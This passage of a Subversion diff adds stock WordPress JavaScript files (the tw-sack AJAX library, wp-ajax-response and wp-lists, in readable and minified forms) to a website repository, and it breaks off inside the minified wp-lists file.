+/* Software licenced under a modified X11 licence,
+   see documentation or authors website for more details */
+
+function sack(file) {
+	this.xmlhttp = null;
+
+	this.resetData = function() {
+		this.method = "POST";
+  		this.queryStringSeparator = "?";
+		this.argumentSeparator = "&";
+		this.URLString = "";
+		this.encodeURIString = true;
+  		this.execute = false;
+  		this.element = null;
+		this.elementObj = null;
+		this.requestFile = file;
+		this.vars = new Object();
+		this.responseStatus = new Array(2);
+  	};
+
+	this.resetFunctions = function() {
+  		this.onLoading = function() { };
+  		this.onLoaded = function() { };
+  		this.onInteractive = function() { };
+  		this.onCompletion = function() { };
+  		this.onError = function() { };
+		this.onFail = function() { };
+	};
+
+	this.reset = function() {
+		this.resetFunctions();
+		this.resetData();
+	};
+
+	this.createAJAX = function() {
+		try {
+			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
+		} catch (e1) {
+			try {
+				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
+			} catch (e2) {
+				this.xmlhttp = null;
+			}
+		}
+
+		if (! this.xmlhttp) {
+			if (typeof XMLHttpRequest != "undefined") {
+				this.xmlhttp = new XMLHttpRequest();
+			} else {
+				this.failed = true;
+			}
+		}
+	};
+
+	this.setVar = function(name, value){
+		this.vars[name] = Array(value, false);
+	};
+
+	this.encVar = function(name, value, returnvars) {
+		if (true == returnvars) {
+			return Array(encodeURIComponent(name), encodeURIComponent(value));
+		} else {
+			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
+		}
+	}
+
+	this.processURLString = function(string, encode) {
+		encoded = encodeURIComponent(this.argumentSeparator);
+		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
+		varArray = string.split(regexp);
+		for (i = 0; i < varArray.length; i++){
+			urlVars = varArray[i].split("=");
+			if (true == encode){
+				this.encVar(urlVars[0], urlVars[1]);
+			} else {
+				this.setVar(urlVars[0], urlVars[1]);
+			}
+		}
+	}
+
+	this.createURLString = function(urlstring) {
+		if (this.encodeURIString && this.URLString.length) {
+			this.processURLString(this.URLString, true);
+		}
+
+		if (urlstring) {
+			if (this.URLString.length) {
+				this.URLString += this.argumentSeparator + urlstring;
+			} else {
+				this.URLString = urlstring;
+			}
+		}
+
+		// prevents caching of URLString
+		this.setVar("rndval", new Date().getTime());
+
+		urlstringtemp = new Array();
+		for (key in this.vars) {
+			if (false == this.vars[key][1] && true == this.encodeURIString) {
+				encoded = this.encVar(key, this.vars[key][0], true);
+				delete this.vars[key];
+				this.vars[encoded[0]] = Array(encoded[1], true);
+				key = encoded[0];
+			}
+
+			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
+		}
+		if (urlstring){
+			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
+		} else {
+			this.URLString += urlstringtemp.join(this.argumentSeparator);
+		}
+	}
+
+	this.runResponse = function() {
+		eval(this.response);
+	}
+
+	this.runAJAX = function(urlstring) {
+		if (this.failed) {
+			this.onFail();
+		} else {
+			this.createURLString(urlstring);
+			if (this.element) {
+				this.elementObj = document.getElementById(this.element);
+			}
+			if (this.xmlhttp) {
+				var self = this;
+				if (this.method == "GET") {
+					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
+					this.xmlhttp.open(this.method, totalurlstring, true);
+				} else {
+					this.xmlhttp.open(this.method, this.requestFile, true);
+					try {
+						this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
+					} catch (e) { }
+				}
+
+				this.xmlhttp.onreadystatechange = function() {
+					switch (self.xmlhttp.readyState) {
+						case 1:
+							self.onLoading();
+							break;
+						case 2:
+							self.onLoaded();
+							break;
+						case 3:
+							self.onInteractive();
+							break;
+						case 4:
+							self.response = self.xmlhttp.responseText;
+							self.responseXML = self.xmlhttp.responseXML;
+							self.responseStatus[0] = self.xmlhttp.status;
+							self.responseStatus[1] = self.xmlhttp.statusText;
+
+							if (self.execute) {
+								self.runResponse();
+							}
+
+							if (self.elementObj) {
+								elemNodeName = self.elementObj.nodeName;
+								elemNodeName.toLowerCase();
+								if (elemNodeName == "input"
+								|| elemNodeName == "select"
+								|| elemNodeName == "option"
+								|| elemNodeName == "textarea") {
+									self.elementObj.value = self.response;
+								} else {
+									self.elementObj.innerHTML = self.response;
+								}
+							}
+							if (self.responseStatus[0] == "200") {
+								self.onCompletion();
+							} else {
+								self.onError();
+							}
+
+							self.URLString = "";
+							break;
+					}
+				};
+
+				this.xmlhttp.send(this.URLString);
+			}
+		}
+	};
+
+	this.reset();
+	this.createAJAX();
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.js	(revision 44)
@@ -0,0 +1,1 @@
+function sack(file){this.xmlhttp=null;this.resetData=function(){this.method="POST";this.queryStringSeparator="?";this.argumentSeparator="&";this.URLString="";this.encodeURIString=true;this.execute=false;this.element=null;this.elementObj=null;this.requestFile=file;this.vars=new Object();this.responseStatus=new Array(2)};this.resetFunctions=function(){this.onLoading=function(){};this.onLoaded=function(){};this.onInteractive=function(){};this.onCompletion=function(){};this.onError=function(){};this.onFail=function(){}};this.reset=function(){this.resetFunctions();this.resetData()};this.createAJAX=function(){try{this.xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")}catch(e1){try{this.xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")}catch(e2){this.xmlhttp=null}}if(!this.xmlhttp){if(typeof XMLHttpRequest!="undefined"){this.xmlhttp=new XMLHttpRequest()}else{this.failed=true}}};this.setVar=function(name,value){this.vars[name]=Array(value,false)};this.encVar=function(name,value,returnvars){if(true==returnvars){return Array(encodeURIComponent(name),encodeURIComponent(value))}else{this.vars[encodeURIComponent(name)]=Array(encodeURIComponent(value),true)}};this.processURLString=function(string,encode){encoded=encodeURIComponent(this.argumentSeparator);regexp=new RegExp(this.argumentSeparator+"|"+encoded);varArray=string.split(regexp);for(i=0;i<varArray.length;i++){urlVars=varArray[i].split("=");if(true==encode){this.encVar(urlVars[0],urlVars[1])}else{this.setVar(urlVars[0],urlVars[1])}}};this.createURLString=function(urlstring){if(this.encodeURIString&&this.URLString.length){this.processURLString(this.URLString,true)}if(urlstring){if(this.URLString.length){this.URLString+=this.argumentSeparator+urlstring}else{this.URLString=urlstring}}this.setVar("rndval",new Date().getTime());urlstringtemp=new Array();for(key in this.vars){if(false==this.vars[key][1]&&true==this.encodeURIString){encoded=this.encVar(key,this.vars[key][0],true);delete this.vars[key];this.vars[encoded[0]]=Array(encoded[1],true);key=encoded[0]}urlstringtemp[urlstringtemp.length]=key+"="+this.vars[key][0]}if(urlstring){this.URLString+=this.argumentSeparator+urlstringtemp.join(this.argumentSeparator)}else{this.URLString+=urlstringtemp.join(this.argumentSeparator)}};this.runResponse=function(){eval(this.response)};this.runAJAX=function(urlstring){if(this.failed){this.onFail()}else{this.createURLString(urlstring);if(this.element){this.elementObj=document.getElementById(this.element)}if(this.xmlhttp){var self=this;if(this.method=="GET"){totalurlstring=this.requestFile+this.queryStringSeparator+this.URLString;this.xmlhttp.open(this.method,totalurlstring,true)}else{this.xmlhttp.open(this.method,this.requestFile,true);try{this.xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}catch(e){}}this.xmlhttp.onreadystatechange=function(){switch(self.xmlhttp.readyState){case 1:self.onLoading();break;case 2:self.onLoaded();break;case 3:self.onInteractive();break;case 4:self.response=self.xmlhttp.responseText;self.responseXML=self.xmlhttp.responseXML;self.responseStatus[0]=self.xmlhttp.status;self.responseStatus[1]=self.xmlhttp.statusText;if(self.execute){self.runResponse()}if(self.elementObj){elemNodeName=self.elementObj.nodeName;elemNodeName.toLowerCase();if(elemNodeName=="input"||elemNodeName=="select"||elemNodeName=="option"||elemNodeName=="textarea"){self.elementObj.value=self.response}else{self.elementObj.innerHTML=self.response}}if(self.responseStatus[0]=="200"){self.onCompletion()}else{self.onError()}self.URLString="";break}};this.xmlhttp.send(this.URLString)}}};this.reset();this.createAJAX()};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.dev.js	(revision 44)
@@ -0,0 +1,64 @@
+var wpAjax = jQuery.extend( {
+	unserialize: function( s ) {
+		var r = {}, q, pp, i, p;
+		if ( !s ) { return r; }
+		q = s.split('?'); if ( q[1] ) { s = q[1]; }
+		pp = s.split('&');
+		for ( i in pp ) {
+			if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
+			p = pp[i].split('=');
+			r[p[0]] = p[1];
+		}
+		return r;
+	},
+	parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
+		var parsed = {}, re = jQuery('#' + r).html(''), err = '';
+
+		if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
+			parsed.responses = [];
+			parsed.errors = false;
+			jQuery('response', x).each( function() {
+				var th = jQuery(this), child = jQuery(this.firstChild), response;
+				response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
+				response.data = jQuery( 'response_data', child ).text();
+				response.supplemental = {};
+				if ( !jQuery( 'supplemental', child ).children().each( function() {
+					response.supplemental[this.nodeName] = jQuery(this).text();
+				} ).size() ) { response.supplemental = false }
+				response.errors = [];
+				if ( !jQuery('wp_error', child).each( function() {
+					var code = jQuery(this).attr('code'), anError, errorData, formField;
+					anError = { code: code, message: this.firstChild.nodeValue, data: false };
+					errorData = jQuery('wp_error_data[code="' + code + '"]', x);
+					if ( errorData ) { anError.data = errorData.get(); }
+					formField = jQuery( 'form-field', errorData ).text();
+					if ( formField ) { code = formField; }
+					if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
+					err += '<p>' + anError.message + '</p>';
+					response.errors.push( anError );
+					parsed.errors = true;
+				} ).size() ) { response.errors = false; }
+				parsed.responses.push( response );
+			} );
+			if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
+			return parsed;
+		}
+		if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
+		x = parseInt(x,10);
+		if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
+		else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken  + '</p></div>'); }
+		return true;
+	},
+	invalidateForm: function ( selector ) {
+		return jQuery( selector ).addClass( 'form-invalid' ).change( function() { jQuery(this).removeClass( 'form-invalid' ); } );
+	},
+	validateForm: function( selector ) {
+		selector = jQuery( selector );
+		return !wpAjax.invalidateForm( selector.find('.form-required').filter( function() { return jQuery('input:visible', this).val() == ''; } ) ).size();
+	}
+}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } );
+
+// Basic form validation
+jQuery(document).ready( function($){
+	$('form.validate').submit( function() { return wpAjax.validateForm( $(this) ); } );
+});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/wp-ajax-response.js	(revision 44)
@@ -0,0 +1,1 @@
+var wpAjax=jQuery.extend({unserialize:function(c){var d={},e,a,b,f;if(!c){return d}e=c.split("?");if(e[1]){c=e[1]}a=c.split("&");for(b in a){if(jQuery.isFunction(a.hasOwnProperty)&&!a.hasOwnProperty(b)){continue}f=a[b].split("=");d[f[0]]=f[1]}return d},parseAjaxResponse:function(a,f,g){var b={},c=jQuery("#"+f).html(""),d="";if(a&&typeof a=="object"&&a.getElementsByTagName("wp_ajax")){b.responses=[];b.errors=false;jQuery("response",a).each(function(){var h=jQuery(this),i=jQuery(this.firstChild),e;e={action:h.attr("action"),what:i.get(0).nodeName,id:i.attr("id"),oldId:i.attr("old_id"),position:i.attr("position")};e.data=jQuery("response_data",i).text();e.supplemental={};if(!jQuery("supplemental",i).children().each(function(){e.supplemental[this.nodeName]=jQuery(this).text()}).size()){e.supplemental=false}e.errors=[];if(!jQuery("wp_error",i).each(function(){var j=jQuery(this).attr("code"),m,l,k;m={code:j,message:this.firstChild.nodeValue,data:false};l=jQuery('wp_error_data[code="'+j+'"]',a);if(l){m.data=l.get()}k=jQuery("form-field",l).text();if(k){j=k}if(g){wpAjax.invalidateForm(jQuery("#"+g+' :input[name="'+j+'"]').parents(".form-field:first"))}d+="<p>"+m.message+"</p>";e.errors.push(m);b.errors=true}).size()){e.errors=false}b.responses.push(e)});if(d.length){c.html('<div class="error">'+d+"</div>")}return b}if(isNaN(a)){return !c.html('<div class="error"><p>'+a+"</p></div>")}a=parseInt(a,10);if(-1==a){return !c.html('<div class="error"><p>'+wpAjax.noPerm+"</p></div>")}else{if(0===a){return !c.html('<div class="error"><p>'+wpAjax.broken+"</p></div>")}}return true},invalidateForm:function(a){return jQuery(a).addClass("form-invalid").change(function(){jQuery(this).removeClass("form-invalid")})},validateForm:function(a){a=jQuery(a);return !wpAjax.invalidateForm(a.find(".form-required").filter(function(){return jQuery("input:visible",this).val()==""})).size()}},wpAjax||{noPerm:"You do not have permission to do that.",broken:"An unidentified error has occurred."});jQuery(document).ready(function(a){a("form.validate").submit(function(){return wpAjax.validateForm(a(this))})});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.dev.js	(revision 44)
@@ -0,0 +1,357 @@
+(function($) {
+var fs = {add:'ajaxAdd',del:'ajaxDel',dim:'ajaxDim',process:'process',recolor:'recolor'}, wpList;
+
+wpList = {
+	settings: {
+		url: wpListL10n.url, type: 'POST',
+		response: 'ajax-response',
+
+		what: '',
+		alt: 'alternate', altOffset: 0,
+		addColor: null, delColor: null, dimAddColor: null, dimDelColor: null,
+
+		confirm: null,
+		addBefore: null, addAfter: null,
+		delBefore: null, delAfter: null,
+		dimBefore: null, dimAfter: null
+	},
+
+	nonce: function(e,s) {
+		var url = wpAjax.unserialize(e.attr('href'));
+		return s.nonce || url._ajax_nonce || $('#' + s.element + ' input[name=_ajax_nonce]').val() || url._wpnonce || $('#' + s.element + ' input[name=_wpnonce]').val() || 0;
+	},
+
+	parseClass: function(e,t) {
+		var c = [], cl;
+		try {
+			cl = $(e).attr('class') || '';
+			cl = cl.match(new RegExp(t+':[\\S]+'));
+			if ( cl ) { c = cl[0].split(':'); }
+		} catch(r) {}
+		return c;
+	},
+
+	pre: function(e,s,a) {
+		var bg, r;
+		s = $.extend( {}, this.wpList.settings, {
+			element: null,
+			nonce: 0,
+			target: e.get(0)
+		}, s || {} );
+		if ( $.isFunction( s.confirm ) ) {
+			if ( 'add' != a ) {
+				bg = $('#' + s.element).css('backgroundColor');
+				$('#' + s.element).css('backgroundColor', '#FF9966');
+			}
+			r = s.confirm.call(this,e,s,a,bg);
+			if ( 'add' != a ) { $('#' + s.element).css('backgroundColor', bg ); }
+			if ( !r ) { return false; }
+		}
+		return s;
+	},
+
+	ajaxAdd: function( e, s ) {
+		e = $(e);
+		s = s || {};
+		var list = this, cls = wpList.parseClass(e,'add'), es, valid, formData;
+		s = wpList.pre.call( list, e, s, 'add' );
+
+		s.element = cls[2] || e.attr( 'id' ) || s.element || null;
+		if ( cls[3] ) { s.addColor = '#' + cls[3]; }
+		else { s.addColor = s.addColor || '#FFFF33'; }
+
+		if ( !s ) { return false; }
+
+		if ( !e.is("[class^=add:" + list.id + ":]") ) { return !wpList.add.call( list, e, s ); }
+
+		if ( !s.element ) { return true; }
+
+		s.action = 'add-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		es = $('#' + s.element + ' :input').not('[name=_ajax_nonce], [name=_wpnonce], [name=action]');
+		valid = wpAjax.validateForm( '#' + s.element );
+		if ( !valid ) { return false; }
+
+		s.data = $.param( $.extend( { _ajax_nonce: s.nonce, action: s.action }, wpAjax.unserialize( cls[4] || '' ) ) );
+		formData = $.isFunction(es.fieldSerialize) ? es.fieldSerialize() : es.serialize();
+		if ( formData ) { s.data += '&' + formData; }
+
+		if ( $.isFunction(s.addBefore) ) {
+			s = s.addBefore( s );
+			if ( !s ) { return true; }
+		}
+		if ( !s.data.match(/_ajax_nonce=[a-f0-9]+/) ) { return true; }
+
+		s.success = function(r) {
+			var res = wpAjax.parseAjaxResponse(r, s.response, s.element), o;
+			if ( !res || res.errors ) { return false; }
+
+			if ( true === res ) { return true; }
+
+			jQuery.each( res.responses, function() {
+				wpList.add.call( list, this.data, $.extend( {}, s, { // this.firstChild.nodevalue
+					pos: this.position || 0,
+					id: this.id || 0,
+					oldId: this.oldId || null
+				} ) );
+			} );
+
+			if ( $.isFunction(s.addAfter) ) {
+				o = this.complete;
+				this.complete = function(x,st) {
+					var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+					s.addAfter( r, _s );
+					if ( $.isFunction(o) ) { o(x,st); }
+				};
+			}
+			list.wpList.recolor();
+			wpList.clear.call(list,'#' + s.element);
+		};
+
+		$.ajax( s );
+		return false;
+	},
+
+	ajaxDel: function( e, s ) {
+		e = $(e); s = s || {};
+		var list = this, cls = wpList.parseClass(e,'delete'), element, anim;
+		s = wpList.pre.call( list, e, s, 'delete' );
+
+		s.element = cls[2] || s.element || null;
+		if ( cls[3] ) { s.delColor = '#' + cls[3]; }
+		else { s.delColor = s.delColor || '#FF3333'; }
+
+		if ( !s || !s.element ) { return false; }
+
+		s.action = 'delete-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		s.data = $.extend(
+			{ action: s.action, id: s.element.split('-').pop(), _ajax_nonce: s.nonce },
+			wpAjax.unserialize( cls[4] || '' )
+		);
+
+		if ( $.isFunction(s.delBefore) ) {
+			s = s.delBefore( s );
+			if ( !s ) { return true; }
+		}
+		if ( !s.data._ajax_nonce ) { return true; }
+
+		element = $('#' + s.element);
+
+		if ( 'none' != s.delColor ) {
+			anim = 'slideUp';
+			if ( element.css( 'display' ).match(/table/) )
+				anim = 'fadeOut'; // Can't slideup table rows and other table elements.  Known jQuery bug
+			element
+				.animate( { backgroundColor: s.delColor }, 'fast'  )[anim]( 'fast' )
+				.queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
+		} else {
+			list.wpList.recolor();
+		}
+
+		s.success = function(r) {
+			var res = wpAjax.parseAjaxResponse(r, s.response, s.element), o;
+			if ( !res || res.errors ) {
+				element.stop().stop().css( 'backgroundColor', '#FF3333' ).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
+				return false;
+			}
+			if ( $.isFunction(s.delAfter) ) {
+				o = this.complete;
+				this.complete = function(x,st) {
+					element.queue( function() {
+						var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+						s.delAfter( r, _s );
+						if ( $.isFunction(o) ) { o(x,st); }
+					} ).dequeue();
+				};
+			}
+		};
+		$.ajax( s );
+		return false;
+	},
+
+	ajaxDim: function( e, s ) {
+		if ( $(e).parent().css('display') == 'none' ) // Prevent hidden links from being clicked by hotkeys
+			return false;
+		e = $(e); s = s || {};
+		var list = this, cls = wpList.parseClass(e,'dim'), element, isClass, color, dimColor;
+		s = wpList.pre.call( list, e, s, 'dim' );
+
+		s.element = cls[2] || s.element || null;
+		s.dimClass =  cls[3] || s.dimClass || null;
+		if ( cls[4] ) { s.dimAddColor = '#' + cls[4]; }
+		else { s.dimAddColor = s.dimAddColor || '#FFFF33'; }
+		if ( cls[5] ) { s.dimDelColor = '#' + cls[5]; }
+		else { s.dimDelColor = s.dimDelColor || '#FF3333'; }
+
+		if ( !s || !s.element || !s.dimClass ) { return true; }
+
+		s.action = 'dim-' + s.what;
+
+		s.nonce = wpList.nonce(e,s);
+
+		s.data = $.extend(
+			{ action: s.action, id: s.element.split('-').pop(), dimClass: s.dimClass, _ajax_nonce : s.nonce },
+			wpAjax.unserialize( cls[6] || '' )
+		);
+
+		if ( $.isFunction(s.dimBefore) ) {
+			s = s.dimBefore( s );
+			if ( !s ) { return true; }
+		}
+
+		element = $('#' + s.element);
+		isClass = element.toggleClass(s.dimClass).is('.' + s.dimClass);
+		color = wpList.getColor( element );
+		element.toggleClass( s.dimClass )
+		dimColor = isClass ? s.dimAddColor : s.dimDelColor;
+		if ( 'none' != dimColor ) {
+			element
+				.animate( { backgroundColor: dimColor }, 'fast' )
+				.queue( function() { element.toggleClass(s.dimClass); $(this).dequeue(); } )
+				.animate( { backgroundColor: color }, { complete: function() { $(this).css( 'backgroundColor', '' ); } } );
+		}
+
+		if ( !s.data._ajax_nonce ) { return true; }
+
+		s.success = function(r) {
+			var res = wpAjax.parseAjaxResponse(r, s.response, s.element), o;
+			if ( !res || res.errors ) {
+				element.stop().stop().css( 'backgroundColor', '#FF3333' )[isClass?'removeClass':'addClass'](s.dimClass).show().queue( function() { list.wpList.recolor(); $(this).dequeue(); } );
+				return false;
+			}
+			if ( $.isFunction(s.dimAfter) ) {
+				o = this.complete;
+				this.complete = function(x,st) {
+					element.queue( function() {
+						var _s = $.extend( { xml: x, status: st, parsed: res }, s );
+						s.dimAfter( r, _s );
+						if ( $.isFunction(o) ) { o(x,st); }
+					} ).dequeue();
+				};
+			}
+		};
+
+		$.ajax( s );
+		return false;
+	},
+
+	// From jquery.color.js: jQuery Color Animation by John Resig
+	getColor: function( el ) {
+		if ( el.constructor == Object )
+			el = el.get(0);
+		var elem = el, color, rgbaTrans = new RegExp( "rgba\\(\\s*0,\\s*0,\\s*0,\\s*0\\s*\\)", "i" );
+		do {
+			color = jQuery.curCSS(elem, 'backgroundColor');
+			if ( color != '' && color != 'transparent' && !color.match(rgbaTrans) || jQuery.nodeName(elem, "body") )
+				break;
+		} while ( elem = elem.parentNode );
+		return color || '#ffffff';
+	},
+
+	add: function( e, s ) {
+		e = $(e);
+
+		var list = $(this), old = false, _s = { pos: 0, id: 0, oldId: null }, ba, ref, color;
+		if ( 'string' == typeof s ) { s = { what: s }; }
+		s = $.extend(_s, this.wpList.settings, s);
+		if ( !e.size() || !s.what ) { return false; }
+		if ( s.oldId ) { old = $('#' + s.what + '-' + s.oldId); }
+		if ( s.id && ( s.id != s.oldId || !old || !old.size() ) ) { $('#' + s.what + '-' + s.id).remove(); }
+
+		if ( old && old.size() ) {
+			old.before(e);
+			old.remove();
+		} else if ( isNaN(s.pos) ) {
+			ba = 'after';
+			if ( '-' == s.pos.substr(0,1) ) {
+				s.pos = s.pos.substr(1);
+				ba = 'before';
+			}
+			ref = list.find( '#' + s.pos );
+			if ( 1 === ref.size() ) { ref[ba](e); }
+			else { list.append(e); }
+		} else if ( s.pos < 0 ) {
+			list.prepend(e);
+		} else {
+			list.append(e);
+		}
+
+		if ( s.alt ) {
+			if ( ( list.children(':visible').index( e[0] ) + s.altOffset ) % 2 ) { e.removeClass( s.alt ); }
+			else { e.addClass( s.alt ); }
+		}
+
+		if ( 'none' != s.addColor ) {
+			color = wpList.getColor( e );
+			e.css( 'backgroundColor', s.addColor ).animate( { backgroundColor: color }, { complete: function() { $(this).css( 'backgroundColor', '' ); } } );
+		}
+		list.each( function() { this.wpList.process( e ); } );
+		return e;
+	},
+
+	clear: function(e) {
+		var list = this, t, tag;
+		e = $(e);
+		if ( list.wpList && e.parents( '#' + list.id ).size() ) { return; }
+		e.find(':input').each( function() {
+			if ( $(this).parents('.form-no-clear').size() )
+				return;
+			t = this.type.toLowerCase();
+			tag = this.tagName.toLowerCase();
+			if ( 'text' == t || 'password' == t || 'textarea' == tag ) { this.value = ''; }
+			else if ( 'checkbox' == t || 'radio' == t ) { this.checked = false; }
+			else if ( 'select' == tag ) { this.selectedIndex = null; }
+		});
+	},
+
+	process: function(el) {
+		var list = this;
+		$("[class^=add:" + list.id + ":]", el || null)
+			.filter('form').submit( function() { return list.wpList.add(this); } ).end()
+			.not('form').click( function() { return list.wpList.add(this); } );
+		$("[class^=delete:" + list.id + ":]", el || null).click( function() { return list.wpList.del(this); } );
+		$("[class^=dim:" + list.id + ":]", el || null).click( function() { return list.wpList.dim(this); } );
+	},
+
+	recolor: function() {
+		var list = this, items, eo;
+		if ( !list.wpList.settings.alt ) { return; }
+		items = $('.list-item:visible', list);
+		if ( !items.size() ) { items = $(list).children(':visible'); }
+		eo = [':even',':odd'];
+		if ( list.wpList.settings.altOffset % 2 ) { eo.reverse(); }
+		items.filter(eo[0]).addClass(list.wpList.settings.alt).end().filter(eo[1]).removeClass(list.wpList.settings.alt);
+	},
+
+	init: function() {
+		var lists = this;
+		lists.wpList.process = function(a) {
+			lists.each( function() {
+				this.wpList.process(a);
+			} );
+		};
+		lists.wpList.recolor = function() {
+			lists.each( function() {
+				this.wpList.recolor();
+			} );
+		};
+	}
+};
+
+$.fn.wpList = function( settings ) {
+	this.each( function() {
+		var _this = this;
+		this.wpList = { settings: $.extend( {}, wpList.settings, { what: wpList.parseClass(this,'list')[1] || '' }, settings ) };
+		$.each( fs, function(i,f) { _this.wpList[i] = function( e, s ) { return wpList[f].call( _this, e, s ); }; } );
+	} );
+	wpList.init.call(this);
+	this.wpList.process();
+	return this;
+};
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/wp-lists.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(b){var a={add:"ajaxAdd",del:"ajaxDel",dim:"ajaxDim",process:"process",recolor:"recolor"},c;c={settings:{url:wpListL10n.url,type:"POST",response:"ajax-response",what:"",alt:"alternate",altOffset:0,addColor:null,delColor:null,dimAddColor:null,dimDelColor:null,confirm:null,addBefore:null,addAfter:null,delBefore:null,delAfter:null,dimBefore:null,dimAfter:null},nonce:function(g,f){var d=wpAjax.unserialize(g.attr("href"));return f.nonce||d._ajax_nonce||b("#"+f.element+" input[name=_ajax_nonce]").val()||d._wpnonce||b("#"+f.element+" input[name=_wpnonce]").val()||0},parseClass:function(h,f){var i=[],d;try{d=b(h).attr("class")||"";d=d.match(new RegExp(f+":[\\S]+"));if(d){i=d[0].split(":")}}catch(g){}return i},pre:function(i,g,d){var f,h;g=b.extend({},this.wpList.settings,{element:null,nonce:0,target:i.get(0)},g||{});if(b.isFunction(g.confirm)){if("add"!=d){f=b("#"+g.element).css("backgroundColor");b("#"+g.element).css("backgroundColor","#FF9966")}h=g.confirm.call(this,i,g,d,f);if("add"!=d){b("#"+g.element).css("backgroundColor",f)}if(!h){return false}}return g},ajaxAdd:function(j,f){j=b(j);f=f||{};var h=this,d=c.parseClass(j,"add"),k,g,i;f=c.pre.call(h,j,f,"add");f.element=d[2]||j.attr("id")||f.element||null;if(d[3]){f.addColor="#"+d[3]}else{f.addColor=f.addColor||"#FFFF33"}if(!f){return false}if(!j.is("[class^=add:"+h.id+":]")){return !c.add.call(h,j,f)}if(!f.element){return true}f.action="add-"+f.what;f.nonce=c.nonce(j,f);k=b("#"+f.element+" :input").not("[name=_ajax_nonce], [name=_wpnonce], [name=action]");g=wpAjax.validateForm("#"+f.element);if(!g){return false}f.data=b.param(b.extend({_ajax_nonce:f.nonce,action:f.action},wpAjax.unserialize(d[4]||"")));i=b.isFunction(k.fieldSerialize)?k.fieldSerialize():k.serialize();if(i){f.data+="&"+i}if(b.isFunction(f.addBefore)){f=f.addBefore(f);if(!f){return true}}if(!f.data.match(/_ajax_nonce=[a-f0-9]+/)){return true}f.success=function(l){var e=wpAjax.parseAjaxResponse(l,f.response,f.element),m;if(!e||e.errors){return false}if(true===e){return true}jQuery.each(e.responses,function(){c.add.call(h,this.data,b.extend({},f,{pos:this.position||0,id:this.id||0,oldId:this.oldId||null}))});if(b.isFunction(f.addAfter)){m=this.complete;this.complete=function(n,o){var p=b.extend({xml:n,status:o,parsed:e},f);f.addAfter(l,p);if(b.isFunction(m)){m(n,o)}}}h.wpList.recolor();c.clear.call(h,"#"+f.element)};b.ajax(f);return false},ajaxDel:function(j,g){j=b(j);g=g||{};var i=this,d=c.parseClass(j,"delete"),f,h;g=c.pre.call(i,j,g,"delete");g.element=d[2]||g.element||null;if(d[3]){g.delColor="#"+d[3]}else{g.delColor=g.delColor||"#FF3333"}if(!g||!g.element){return false}g.action="delete-"+g.what;g.nonce=c.nonce(j,g);g.data=b.extend({action:g.action,id:g.element.split("-").pop(),_ajax_nonce:g.nonce},wpAjax.unserialize(d[4]||""));if(b.isFunction(g.delBefore)){g=g.delBefore(g);if(!g){return true}}if(!g.data._ajax_nonce){return true}f=b("#"+g.element);if("none"!=g.delColor){h="slideUp";if(f.css("display").match(/table/)){h="fadeOut"}f.animate({backgroundColor:g.delColor},"fast")[h]("fast").queue(function(){i.wpList.recolor();b(this).dequeue()})}else{i.wpList.recolor()}g.success=function(k){var e=wpAjax.parseAjaxResponse(k,g.response,g.element),l;if(!e||e.errors){f.stop().stop().css("backgroundColor","#FF3333").show().queue(function(){i.wpList.recolor();b(this).dequeue()});return false}if(b.isFunction(g.delAfter)){l=this.complete;this.complete=function(m,n){f.queue(function(){var o=b.extend({xml:m,status:n,parsed:e},g);g.delAfter(k,o);if(b.isFunction(l)){l(m,n)}}).dequeue()}}};b.ajax(g);return false},ajaxDim:function(k,h){if(b(k).parent().css("display")=="none"){return false}k=b(k);h=h||{};var 